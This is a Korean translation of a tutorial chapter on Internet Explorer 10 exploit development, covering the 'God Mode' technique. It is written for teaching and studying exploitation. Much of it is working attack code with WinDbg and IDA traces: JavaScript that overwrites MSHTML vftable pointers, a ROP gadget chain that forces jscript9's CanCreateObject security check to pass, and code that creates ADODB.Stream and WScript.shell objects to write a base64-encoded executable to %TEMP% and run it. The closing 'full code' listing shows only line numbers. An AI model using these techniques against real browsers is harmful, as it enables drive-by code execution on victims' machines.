티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 16. IE 10 (God Mode 2)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



God Mode 수정


근본적인 부분으로 접근하기 전에 어디서 충돌이 발생하는지 찾아보도록 하겠습니다. 이를 위해, 알림창을 몇 개 추가했습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function createExe(fname, data) {
  alert("3");           // <------------------------------------------
  var tStream = new ActiveXObject("ADODB.Stream");
  var bStream = new ActiveXObject("ADODB.Stream");
  alert("4");           // <------------------------------------------
  
  tStream.Type = 2;       // text
  bStream.Type = 1;       // binary
  tStream.Open();
  bStream.Open();
  tStream.WriteText(data);
  tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
  tStream.CopyTo(bStream);
  bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
  tStream.Close();
  bStream.Close();
}
 
function decode(b64Data) {
  var data = window.atob(b64Data);
  
  // Now data is like
  //   11 00 12 00 45 00 50 00 ...
  // rather than like
  //   11 12 45 50 ...
  // Let's fix this!
  var arr = new Array();
  for (var i = 0; i < data.length / 2++i) {
    var low = data.charCodeAt(i*2);
    var high = data.charCodeAt(i*2 + 1);
    arr.push(String.fromCharCode(low + high * 0x100));
  }
  return arr.join('');
}
 
alert("1");         // <------------------------------------------
shell = new ActiveXObject("WScript.shell");
alert("2");         // <------------------------------------------
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
write(mshtml+0xc555e0+0x14, old);      // God mode off!
alert("All done!");
cs


IE 에서 127.0.0.1을 통해 페이지를 다시 부르고 0xc0af000 Int32Array의 크기를 변경하면 무슨일이 일어나는지 보도록하죠. 알림창 1부터 3까지 뜨고난뒤, 충돌이 발생하는 것을 볼 수 있습니다. 이를 통해 우리는 아래 명령을 실행하면서 충돌이 발생됨을 알 수 있습니다.


1
2
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
cs


WScript.shell에서는 아무 문제가 없는 걸까요?

 

차이점은 ADODB.Stream Microsoft에 의해 비활성화된 것 입니다! 아마 jscript9!ScriptSite::CreateObjectFromProgID 에서 뭔가 일어난것 같습니다. 한 번 보도록 하죠.

 

위 과정을 반복하고 이번에는 알림창 3이 뜨면 jscript9!ScriptSite::CreateObjectFromProgID breakpoint를 설정합니다. CreateObjectFromProgID 내부로 들어가보겠습니다.


jscript9!ScriptSite::CreateObjectFromProgID:

04f3becb 8bff            mov     edi,edi

04f3becd 55              push    ebp

04f3bece 8bec            mov     ebp,esp

04f3bed0 83ec34          sub     esp,34h

04f3bed3 a144630f05      mov     eax,dword ptr [jscript9!__security_cookie (050f6344)]

04f3bed8 33c5            xor     eax,ebp

04f3beda 8945fc          mov     dword ptr [ebp-4],eax

04f3bedd 53              push    ebx

04f3bede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]

04f3bee1 56              push    esi

04f3bee2 33c0            xor     eax,eax

04f3bee4 57              push    edi

04f3bee5 8b7d08          mov     edi,dword ptr [ebp+8]

04f3bee8 8bf2            mov     esi,edx

04f3beea 8975dc          mov     dword ptr [ebp-24h],esi

04f3beed 8945cc          mov     dword ptr [ebp-34h],eax

04f3bef0 897dd0          mov     dword ptr [ebp-30h],edi

04f3bef3 8945d4          mov     dword ptr [ebp-2Ch],eax

04f3bef6 8945d8          mov     dword ptr [ebp-28h],eax

04f3bef9 8945e8          mov     dword ptr [ebp-18h],eax

04f3befc 85ff            test    edi,edi

04f3befe 0f85e26a1600    jne     jscript9!memset+0xf390 (050a29e6)

04f3bf04 8b4604          mov     eax,dword ptr [esi+4]

04f3bf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04f3bfe1)

04f3bf0c 85c0            test    eax,eax

04f3bf0e 8d45ec          lea     eax,[ebp-14h]

04f3bf11 50              push    eax

04f3bf12 51              push    ecx

04f3bf13 0f84d86a1600    je      jscript9!memset+0xf39b (050a29f1)

04f3bf19 ff1508400e05    call    dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]

04f3bf1f 85c0            test    eax,eax

04f3bf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)

04f3bf27 8d45ec          lea     eax,[ebp-14h]

04f3bf2a 50              push    eax

04f3bf2b 8b4604          mov     eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480

04f3bf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04f3c315)   <------------------

04f3bf33 85c0            test    eax,eax       <------------------ EAX = 0

04f3bf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)  <----- je taken!

.

.

.

04f0270f bead010a80      mov     esi,800A01ADh

04f02714 e99d980300      jmp     jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)

.

.

.

04f3bfb6 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95

04f3bfb9 5f              pop     edi

04f3bfba 8bc6            mov     eax,esi

04f3bfbc 5e              pop     esi

04f3bfbd 33cd            xor     ecx,ebp

04f3bfbf 5b              pop     ebx

04f3bfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e6133e)

04f3bfc5 c9              leave

04f3bfc6 c20800          ret     8


보시다시피, CanCreateObject 0을 반환하고 CanObjectRun은 호출되지도 않습니다. CanCreateObject를 강제로 1을 반환하게 하면 어떨까요? 위 과정을 다시 반복하고 이번에는 CanCreateObject 호출 직후, EAX 1로 설정합니다. (r eax=1) 기억할 점은 이 과정을 두 번 해야 하는데 그 이유는 ADODB.Stream 객체를 2개 생성해야 하기 때문입니다.

 

이제 알림창 4가 뜨긴하지만 알림창을 끄면 충돌이 발생합니다. God Mode를 꼭 필요할 때만 활성화 시키는건 어떨까요? 코드를 좀 수정해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var old = read(mshtml+0xc555e0+0x14);
 
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AA <snipped> AAAAAAAAAAAAAAAAAAAAA';
 
function createExe(fname, data) {
  write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
  var tStream = new ActiveXObject("ADODB.Stream");
  var bStream = new ActiveXObject("ADODB.Stream");
  write(mshtml+0xc555e0+0x14, old);                   // God mode off!
  
  tStream.Type = 2;       // text
  bStream.Type = 1;       // binary
  tStream.Open();
  bStream.Open();
  tStream.WriteText(data);
  tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
  tStream.CopyTo(bStream);
  bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
  tStream.Close();
  bStream.Close();
}
 
function decode(b64Data) {
  var data = window.atob(b64Data);
  
  // Now data is like
  //   11 00 12 00 45 00 50 00 ...
  // rather than like
  //   11 12 45 50 ...
  // Let's fix this!
  var arr = new Array();
  for (var i = 0; i < data.length / 2++i) {
    var low = data.charCodeAt(i*2);
    var high = data.charCodeAt(i*2 + 1);
    arr.push(String.fromCharCode(low + high * 0x100));
  }
  return arr.join('');
}
 
write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old);                   // God mode off!
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
 
alert("All done!");
cs


페이지를 다시 불러오고 CanCreateObject 직후 EAX 1로 설정합니다. 이번에는 CanCreateObject에 직접 breakpoint를 설정합니다.


bp jscript9!ScriptEngine::CanCreateObject


breakpoint가 실행될 때, Shift + F11을 누르고 EAX 1로 설정합니다. 이번에는 충돌이 발생하진 않지만 계산기가 뜨지 않습니다. 개발자 도구 (Developer Tools)를 활성화 시키고 위 과정을 반복함면 아래 에러를 볼 수 있습니다.



이 에러는 나중을 위해 냅두고, 지금은 God Mode 문제가 거의 해결된 것에 대해 기뻐하도록 합시다. 아직 CanCreateObject가 어떻게 해서든 true를 반환하도록 수정을 해야 합니다. 다시 위 과정을 반복하고 CanCreateObject breakpoint를 설정합니다. breakpoint가 실행되면, CanCreateObject 분석을 시작합니다.


jscript9!ScriptEngine::CanCreateObject:

04dcc315 8bff            mov     edi,edi

04dcc317 55              push    ebp

04dcc318 8bec            mov     ebp,esp

04dcc31a 51              push    ecx

04dcc31b 51              push    ecx

04dcc31c 57              push    edi

04dcc31d 8bf8            mov     edi,eax

04dcc31f f687e401000008  test    byte ptr [edi+1E4h],8

04dcc326 743d            je      jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)

04dcc328 8d45fc          lea     eax,[ebp-4]

04dcc32b 50              push    eax

04dcc32c e842000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)

04dcc331 85c0            test    eax,eax

04dcc333 7835            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]

04dcc335 8b45fc          mov     eax,dword ptr [ebp-4]

04dcc338 8b08            mov     ecx,dword ptr [eax]        <------------------ ecx = object.vftptr

04dcc33a 6a00            push    0

04dcc33c 6a00            push    0

04dcc33e 6a10            push    10h

04dcc340 ff7508          push    dword ptr [ebp+8]

04dcc343 8d55f8          lea     edx,[ebp-8]

04dcc346 6a04            push    4

04dcc348 52              push    edx                                            +---------------------

04dcc349 6800120000      push    1200h                                          |

04dcc34e 50              push    eax                                            v

04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}

04dcc352 85c0            test    eax,eax

04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)

04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh

04dcc35a 6a00            push    0

04dcc35c 58              pop     eax

04dcc35d 0f94c0          sete    al

04dcc360 5f              pop     edi

04dcc361 c9              leave

04dcc362 c20400          ret     4


0x04dcc34f의 가상 함수 호출을 보시기 바랍니다. CanObjectRun에서 썻던 동일한 방법을 사용할 수 있습니다! 이전 처럼, ECX vftable을 가리키고 있습니다.


0:007> dds ecx

6ac755e0  6a0b2681 MSHTML!PlainQueryInterface

6ac755e4  6a0b25a1 MSHTML!CAPProcessor::AddRef

6ac755e8  6a08609d MSHTML!PlainRelease

6ac755ec  6a078eb5 MSHTML!TearoffThunk3

6ac755f0  6a25604a MSHTML!TearoffThunk4           <----------- we need to modify this for CanCreateObject

6ac755f4  04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf   <---------- this is our fix for CanObjectRun!

6ac755f8  6a129a77 MSHTML!TearoffThunk6

6ac755fc  6a201a73 MSHTML!TearoffThunk7

6ac75600  6a12770c MSHTML!TearoffThunk8

6ac75604  6a12b22c MSHTML!TearoffThunk9

6ac75608  6a12b1e3 MSHTML!TearoffThunk10

6ac7560c  6a257db5 MSHTML!TearoffThunk11

6ac75610  6a12b2b8 MSHTML!TearoffThunk12

6ac75614  6a332a3d MSHTML!TearoffThunk13

6ac75618  6a242719 MSHTML!TearoffThunk14

6ac7561c  6a254879 MSHTML!TearoffThunk15

6ac75620  6a12b637 MSHTML!TearoffThunk16

6ac75624  6a131bf3 MSHTML!TearoffThunk17

6ac75628  6a129649 MSHTML!TearoffThunk18

6ac7562c  6a4a8422 MSHTML!TearoffThunk19

6ac75630  6a58bc4a MSHTML!TearoffThunk20

6ac75634  6a1316d9 MSHTML!TearoffThunk21

6ac75638  6a2e7b23 MSHTML!TearoffThunk22

6ac7563c  6a212734 MSHTML!TearoffThunk23

6ac75640  6a2e75ed MSHTML!TearoffThunk24

6ac75644  6a4c28c5 MSHTML!TearoffThunk25

6ac75648  6a3c5a7d MSHTML!TearoffThunk26

6ac7564c  6a3a6310 MSHTML!TearoffThunk27

6ac75650  6a3bff2d MSHTML!TearoffThunk28

6ac75654  6a3aa803 MSHTML!TearoffThunk29

6ac75658  6a3cd81a MSHTML!TearoffThunk30

6ac7565c  6a223f19 MSHTML!TearoffThunk31


보시다시피, CanObjectRun에서 수정했던 것과 동일한 vftable 입니다. 이제 CanCreateObject를 위해 [ecx + 10h]를 수정합니다. [ecx + 10h]의 위치에 CanCreateObject의 에필로그 주소로 덮어 씁니다. 문제는 CanCreateObject에서 반환하기 전에 EDI 0으로 만들 필요가 있다는 것 입니다. 아래 코드는 CanCreateObject 호출 직후 입니다.


04ebbf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04ebc315)

04ebbf33 85c0            test    eax,eax

04ebbf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)

04ebbf3b 6a05            push    5

04ebbf3d 58              pop     eax

04ebbf3e 85ff            test    edi,edi

04ebbf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050229fc)      <----------------- taken if EDI != 0


만약 jne를 타게 된다면 CreateObjectFromProgID CreateActiveXObject는 실패하게 됩니다.

 

저는 여기서 몇 시간동안 적절한 코드를 찾아 봤지만 찾지 못했습니다. 적절한 코드 형태는 다음과 같습니다.


xor   edi, edi

leave

ret   4


이정도면 완벽하지만 존재하지 않는군요. 제가 생각할 수 있는 다양한 변형들을 찾아 봤지만 이도 역시 찾지 못했습니다. 또한 아래와 같은 변형들도 찾아 봤습니다.


mov   dword ptr [edx], 0

ret   20h


이 코드는 원본 가상 함수를 호출하고 [ebp - 8]을 초기화 합니다. 이 방법으로 CanCreateObject에서 true를 반환할 것 입니다.


04dcc338 8b08            mov     ecx,dword ptr [eax]

04dcc33a 6a00            push    0

04dcc33c 6a00            push    0

04dcc33e 6a10            push    10h

04dcc340 ff7508          push    dword ptr [ebp+8]

04dcc343 8d55f8          lea     edx,[ebp-8]      <---------- edx = ebp-8

04dcc346 6a04            push    4

04dcc348 52              push    edx

04dcc349 6800120000      push    1200h

04dcc34e 50              push    eax

04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}

04dcc352 85c0            test    eax,eax

04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)

04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh      <-------- if [ebp-8] == 0, then ...

04dcc35a 6a00            push    0

04dcc35c 58              pop     eax

04dcc35d 0f94c0          sete    al                 <-------- ... then EAX = 1

04dcc360 5f              pop     edi                <-------- restores EDI (it was 0)

04dcc361 c9              leave

04dcc362 c20400          ret     4


위 코드는 EDI를 초기화 하는데 그 이유는 CanCreateObject가 호출 되었을 때 EDI 0 이기 때문입니다.

 

다음으로, ROP를 시도 했습니다. 이를 위해 아래와 같은 코드를 찾아봤습니다.


xchg  ecx, esp

ret


안타깝게도, 이와 유사한 어떤것도 찾을 수가 없었습니다. ECX 말고 다른 레지스터를 조작할 수 있으면 좋을텐데 말이죠...

 

, 우리가 EAX를 조작할 수 있고 xche eax, esp 가젯이 xchg ecx, esp 가젯보다 더 흔하다는 것을 알았습니다.

 

아래는 우리가 진행할 개요 입니다.



우리는 이미 CanCreateObject CanObjectRun이 동일한 VFTable로 부터 가상 함수들을 호출하는 것을 알고 있습니다. 간단히 같은 객체에서 호출하는 것을 검증 할 수 있습니다. 위 개요를 통해 이를 확인 하실 수 있습니다.

 

CanCreateObject에서 관련된 코드를 보면 다음과 같습니다.


04dcc338 8b08            mov     ecx,dword ptr [eax]  <----------- we control EAX, which points to "object"

04dcc33a 6a00            push    0            <----------- now, ECX = object."vftable ptr"

04dcc33c 6a00            push    0

04dcc33e 6a10            push    10h

04dcc340 ff7508          push    dword ptr [ebp+8]

04dcc343 8d55f8          lea     edx,[ebp-8]

04dcc346 6a04            push    4

04dcc348 52              push    edx

04dcc349 6800120000      push    1200h

04dcc34e 50              push    eax

04dcc34f ff5110          call    dword ptr [ecx+10h]  <----------- call to gadget 1 (in the picture)

04dcc352 85c0            test    eax,eax

04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)

04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh

04dcc35a 6a00            push    0

04dcc35c 58              pop     eax

04dcc35d 0f94c0          sete    al

04dcc360 5f              pop     edi

04dcc361 c9              leave        <----------- this is gadget 4

04dcc362 c20400          ret     4


첫 번째 가젯이 호출 되면 ESP object+4를 가리키고 가젯 2를 반환합니다. 가젯 2, 3이후에 EDI 0이 되고 EAX 0이 아닌 값을 갖게 됩니다. 가젯 4 ESP를 복원하고 CanCreateObject로 부터 반환하게 됩니다.

 

아래는 자바스크립트에서 그림에 나온 것과 같이 객체와 vftable을 설정하는 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//                                                  vftable
//                                    +-----> +------------------+
//                                    |       |                  |
//                                    |       |                  |
//                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
//                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
//                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
//                                    |       +------------------+
//                 object             |
// EAX ---> +-------------------+     |
//          | vftptr            |-----+
//          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
//          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
//          | jscript9+0xdc361  | --> "LEAVE | RET 4"
//          +-------------------+
 
// If we do "write(pp_obj, X)", we'll have EAX = X in CanCreateObject
var pp_obj = ... ptr to ptr to object ...
 
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
 
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length++i)
  new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4= jscript9+0x10705e;
new_vftable[0x14/4= jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
 
// Create the new object.
var new_object = new Int32Array(4);
new_object[0= new_vftptr;
new_object[1= jscript9 + 0x15f800;
new_object[2= jscript9 + 0xf3baf;
new_object[3= jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
 
function GodModeOn() {
  write(pp_obj, new_objptr);
}
 
function GodModeOff() {
  write(pp_obj, old_objptr);
}
cs


코드 자체는 이해하기 쉽습니다. 여기서 객체 (new_object) vftable (new_vftable) 2개의 Int32Arrays를 이용하여 생성하고 객체가 vftable을 가리킵니다. (실제론 raw buffers)  우리의 vftable은 기존의 vftable의 수정된 복사본 입니다. 2개의 수정된 필드들 (오프셋 0x10, 0x14)가 사용되기 때문에 기존의 vftable의 복사본이 필요하지 않을 수도 있지만 이는 문제가 되지 않습니다.

 

이제 EAX가 우리의 객체를 가리키게 함으로써 God Mode를 활성화 시킬 수 있고, EAX가 기존의 객체를 가리키게 함으로써 God Mode를 비활성화 시킬 수 있습니다.



EAX 조작


우리가 EAX를 조작할 수 있는지 보기 위해, EAX가 어디서 오는지 찾아야 합니다. 여기서 EAX가 조작될 수 있으며 ROP를 위해 어떻게 익스플로잇 할 수 있는지 보이도록 하겠습니다. 이제 어떻게 EAX가 조작될 수 있는지 보여드리겠습니다. 실제로는 이 부분이 제일 처음 이루어져야 합니다. 먼저, 어떤 것들이 조작 가능하다면 이를 위한 코드를 작성합니다.

 

이는 분명히 WinDbg에서 분석이 요구 되지만 IDA Pro를 이용하는 것이 더 편합니다. 만약 IDA Pro가 없으시다면 무료 버전을 다운받으시길 바랍니다.

 

IDA는 매우 똑똑한 디스어셈블러 입니다. IDA의 주요 기능은 “interactive”로써, IDA가 코드에 대해 디스어셈블링이 끝낫다면 이에 대해 수정하거나 조작이 가능합니다. 예를들어, IDA에서 잘못된 부분을 수정하거나 주석을 추가하거나 구조체를 정의하거나 이름을 변경하는 등등을 일컷습니다.

 

만약 악성코드 분석이나 익스플로잇 개발에 대해 경력을 쌓고 싶다면 IDA에 대해 매우 친숙해야 하며 Pro 버전을 구매하시길 바랍니다.

 

CanCreateObject jscript9에 있습니다. WinDbg에서 이 모듈의 경로를 찾아보도록 하겠습니다.


0:015> lmf m jscript9

start    end        module name

71c00000 71ec6000   jscript9 C:\Windows\SysWOW64\jscript9.dll


IDA에서 jscript9.dll을 열고 필요하다면 IDA에서 데이터베이스 생성 경로를 지정하시기 바랍니다. IDA에서 물음창이 뜨면 jscript9.dll의 심볼들을 다운로드 할 수 있도록 허용하세요. CTRL + P (jump to function)을 누르고 Search를 통해 CanCreateObject를 찾습니다. 이제 CanCreateObject는 아래 그림 처럼 선택될겁니다.



CanCreateObject를 더블클릭하면 CanCreateObject 함수의 그래프를 볼 수 있습니다. 만약 코드가 보이신다면 스페이스바를 누르시면 됩니다. 심볼의 이름을 변경하려면 해당 심볼을 클릭하고 n을 누릅니다. IDA는 매우 강력한 기능들을 갖는데, 텍스트가 선택되면 해당 텍스트에 해당하는 모든 것들이 하이라이트 됩니다. 이는 코드에 대해 추적하기 매우 편리한 기능입니다.

 

아래 그림을 한번 보시면



이는 명백히 [ebp+object] GetSiteHostSecurityManagerNoRef 내부에서 변경됨을 보입니다.

 

아래 함수를 살펴보도록 하겠습니다.



보시다시피, object 변수는 [edi + 1F0h]로 덮어 써집니다. 또한 [edi + 1F0h] 0이라면 초기화되는 것도 확인할 수 있습니다. 나중을 위해 이 과정을 기억하도록 합니다. 지금은 edi를 추적할 필요가 있습니다. CanCreateObject를 한 번 보시죠.



CanCreateObject를 호출하는 코드를 보기 위해서 위 그림에서 표시된 곳에서 CTRL + X를 누릅니다. 그리고 함수를 선택하면 CreateObjectFromProgID 에 들어가게 됩니다.



여기까지 우리가 배운것은 다음과 같습니다.


esi = edx

eax = [esi+4]

edi = eax

object = [edi+1f0h]


이제 CreateObjectFromProgID 호출자로 가서 EDX를 추적합니다. 이를 위해, CreateObjectFromProgID에서 CTRL+X를 누릅니다. 2가지 옵션이 있는데 CreateActiveXObject를 선택합니다. 이제 CreateActiveXObject 내부로 들어 갑니다.



위 개요에 대해 조금 갱신을 해보면 다음과 같습니다.


esi = arg0

edx = esi

esi = edx

eax = [esi+4]

edi = eax

object = [edi+1f0h]


이제 우리는 CreateActiveXObject에 전달되는 첫 번째 인자를 따라갈 필요가 있습니다. 이전과 마찬가지로, CreateActiveXObject를 호출하는 코드로 이동합니다. 아래 그림을 보시기 바랍니다. (여기서는 그래프를 간소화 시키기 위해 몇몇 노드들을 합쳤습니다)



이후, 완성된 개요는 다음과 같습니다.


eax = arg_0

eax = [eax+28h]

edx = eax

esi = edx

eax = [esi+4]

edi = eax

object = [edi+1f0h]


이제 JavascriptActiveXObject::NewInstance로 전달되는 첫 번째 인자를 따라가야 합니다. 해당 인자를 클릭하고 CTRL + X를 누르면 익숙하지 않은 참조를 보게 됩니다. 이제 WinDbg로 돌아갈 시간입니다.

 

IE에서 아래 코드를 갖는 페이지를 불러옵니다.


1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<script language="javascript">
  alert("Start");
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>
cs


CanCreateObject breakpoint를 설정합니다.


bp jscript9!ScriptEngine::CanCreateObject


breakpoint가 실행되면 jscript9!Js::InterpreterStackFrame::NewScObject_Helper를 만날 때 까지  Shift+F11을 통해 함수를 빠져 나옵니다. 그러면 다음 코드를 만나게 됩니다.


045725c4 890c82          mov     dword ptr [edx+eax*4],ecx

045725c7 40              inc     eax

045725c8 3bc6            cmp     eax,esi

045725ca 72f5            jb      jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)

045725cc ff75ec          push    dword ptr [ebp-14h]

045725cf ff75e8          push    dword ptr [ebp-18h]

045725d2 ff55e4          call    dword ptr [ebp-1Ch]

045725d5 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4   <--------- we're here!

045725d8 8945d8          mov     dword ptr [ebp-28h],eax

045725db 8b4304          mov     eax,dword ptr [ebx+4]

045725de 83380d          cmp     dword ptr [eax],0Dh


여기서 우리는 왜 IDA에서 이 호출을 추적할 수 없는지 볼 수 있습니다. 이는 동적 호출로 해당 호출이 정적이지 않다는 의미입니다. 첫 번째 인자를 보도록 하겠습니다.


0:007> dd poi(ebp-18)

032e1150  045e2b70 03359ac0 03355520 00000003

032e1160  00000000 ffffffff 047c4de4 047c5100

032e1170  00000037 00000000 02cc4538 00000000

032e1180  0453babc 00000000 00000001 00000000

032e1190  00000000 032f5410 00000004 00000000

032e11a0  00000000 00000000 00000000 00000000

032e11b0  04533600 033598c0 033554e0 00000003

032e11c0  00000000 ffffffff 047c4de4 047c5660


첫 번째 값은 아마 vftable의 포인터 입니다


0:007> ln 045e2b70

(045e2b70)   jscript9!JavascriptActiveXFunction::`vftable'   |  (04534218)   jscript9!Js::JavascriptSafeArrayObject::`vftable'

Exact matches:

    jscript9!JavascriptActiveXFunction::`vftable' = <no type information>


맞군요! 중요한 점은, JavascriptActiveXFunction ActiveXObject 함수로 ActiveX 객체를 생성하기 위해 사용됩니다! 이 부분이 우리의 시작점 입니다. 따라서, 완성된 개요는 다음과 같습니다.


X = address of ActiveXObject

X = [X+28h]

X = [X+4]

object = [X+1f0h]


이제 우리가 찾은 것들이 정확한지 검증해보도록 하겠습니다. 이를 위해 아래 자바스크립트 코드를 사용합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<script language="javascript">
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>
cs


IE에서 위 페이지를 불러오고 WinDbg에서 0xadd0000 (또는 더 높은 주소)의 메모리를 살펴봅니다. 메모리는 ActiveXObject의 주소로 채워져 있어야 합니다. 제 경우에는 이 주소가 0x03411150이였습니다. 이제 이 객체의 주소로 가보도록 하겠습니다.


0:002> ? poi(03411150+28)

Evaluate expression: 51132616 = 030c38c8

0:002> ? poi(030c38c8+4)

Evaluate expression: 51075360 = 030b5920

0:002> ? poi(030b5920+1f0)

Evaluate expression: 0 = 00000000


주소가 0 입니다. 왜 이럴까요? 아래 그림을 한 번 보시기 바랍니다.



객체 포인터를 초기화 하기 위해서, CanCreateObject 호출이 필요 합니다. (ActiveX 객체가 필요 합니다) 자바스크립트 코드를 다음과 같이 변경합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<script language="javascript">
  new ActiveXObject("WScript.shell");
 
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>
cs


위 과정을 반복하고 객체의 주소를 구해보도록 하겠습니다.


0:005> ? poi(03411150+28)

Evaluate expression: 51459608 = 03113618

0:005> ? poi(03113618+4)

Evaluate expression: 51075360 = 030b5920

0:005> ? poi(030b5920+1f0)

Evaluate expression: 6152384 = 005de0c0

0:005> dd 005de0c0

005de0c0  6d0f55e0 00000001 6c4d7408 00589620

005de0d0  6c532ac0 00000000 00000000 00000000

005de0e0  00000005 00000000 3fd6264b 8c000000

005de0f0  005579b8 005de180 005579b8 5e6c858f

005de100  47600e22 33eafe9a 7371b617 005a0a08

005de110  00000000 00000000 3fd62675 8c000000

005de120  005882d0 005579e8 00556e00 5e6c858f

005de130  47600e22 33eafe9a 7371b617 005ce140

0:005> ln 6d0f55e0

(6d0f55e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6d0f5ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable

Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>


완벽하군요! 잘 동작합니다!

 

이제 우리는 자바스크립트 코드를 완성시킬 수 있습니다.


1
2
3
4
5
6
7
8
var old = read(mshtml+0xc555e0+0x14);
 
write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28+ 4+ 0x1f0;       // ptr to ptr to object
cs


이제 우리는 어떤 경고 메시지 없이 WScript.shell을 생성하기 위한 기존의 God Mode를 이용할 수 있습니다.

 

아래는 전체 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
